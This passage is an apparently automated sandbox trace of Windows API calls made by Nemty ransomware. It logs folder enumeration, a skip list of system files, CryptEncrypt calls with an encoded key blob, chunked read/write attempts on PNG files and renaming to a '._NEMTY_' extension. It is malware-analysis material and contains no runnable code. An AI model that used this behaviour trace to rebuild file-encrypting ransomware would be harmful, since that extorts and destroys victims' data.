lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.884] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.903] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0136.915] CloseHandle (hObject=0xffffffff) returned 0 [0136.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0136.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0136.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0136.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0136.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0136.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0136.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0136.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0136.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0136.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0136.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\8.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\8.png._nemty_kgobjgd_")) returned 0 [0136.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0136.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0136.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0136.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0136.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0136.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0136.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0136.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0136.916] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a4e015, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a4e015, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39eb3709, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x531b, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2=".") returned 1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="..") returned 1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="...") returned 1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="windows") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="$RECYCLE.BIN") returned 1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="rsa") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="NTDETECT.COM") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="ntldr") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="MSDOS.SYS") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="IO.SYS") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="boot.ini") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="boot.ini") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="AUTOEXEC.BAT") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="ntuser.dat") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="desktop.ini") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="CONFIG.SYS") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="RECYCLER") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="BOOTSECT.BAK") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="bootmgr") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="programdata") returned -1 [0136.916] lstrcmpiW (lpString1="9.png", lpString2="appdata") returned -1 [0136.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9.png", lpUsedDefaultChar=0x0) returned 5 [0136.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9.png", lpUsedDefaultChar=0x0) returned 5 [0136.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9.png", lpUsedDefaultChar=0x0) returned 5 [0136.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9.png", lpUsedDefaultChar=0x0) returned 5 [0136.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0136.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0136.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0136.917] Sleep (dwMilliseconds=0x5) [0136.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x541c910, dwHighDateTime=0x1d561e8)) [0136.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x541c910, dwHighDateTime=0x1d561e8)) [0136.924] GetLastError () returned 0x5 [0136.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0136.924] GetLastError () returned 0x5 [0136.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0136.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0136.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0136.924] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0136.924] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0136.924] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0136.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0136.924] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="Nq/CDCGPeyV+pGxHWsX7sSbM9JAYLdH5AhGhhksAjjPYTCAuy03mH4w+v5RTm4Z8\r\n22VRwo4Vjta092kfB4qX72IIUe5sZA+H48lYnEJE47hbZbtNdvX7gBoJnSWjp31h\r\n16S8sRq0Ua8o/nyQCmvhASlHUnaCEJZlQ1jEgRwtdubOGHUgBmCf4Ke61SJGcUq8\r\nFNZ9IygvOCE2M9lCv3BFnQrZiNB48xRV3m94mMhzjcqoex1YFbn/Z124AAVMe6AH\r\nkEk8WKr6AZOUC75pZ2RlMnl5Z0neb23vZx0IAvRlga/P5CY7WLg5I+nIiNH80du2\r\nfqH1rOaLBkfZfK596F26Gw==\r\n", pcchString=0x653e91c) returned 1 [0136.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0136.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0136.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0136.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0136.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0136.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0136.924] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0136.925] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0136.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0136.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 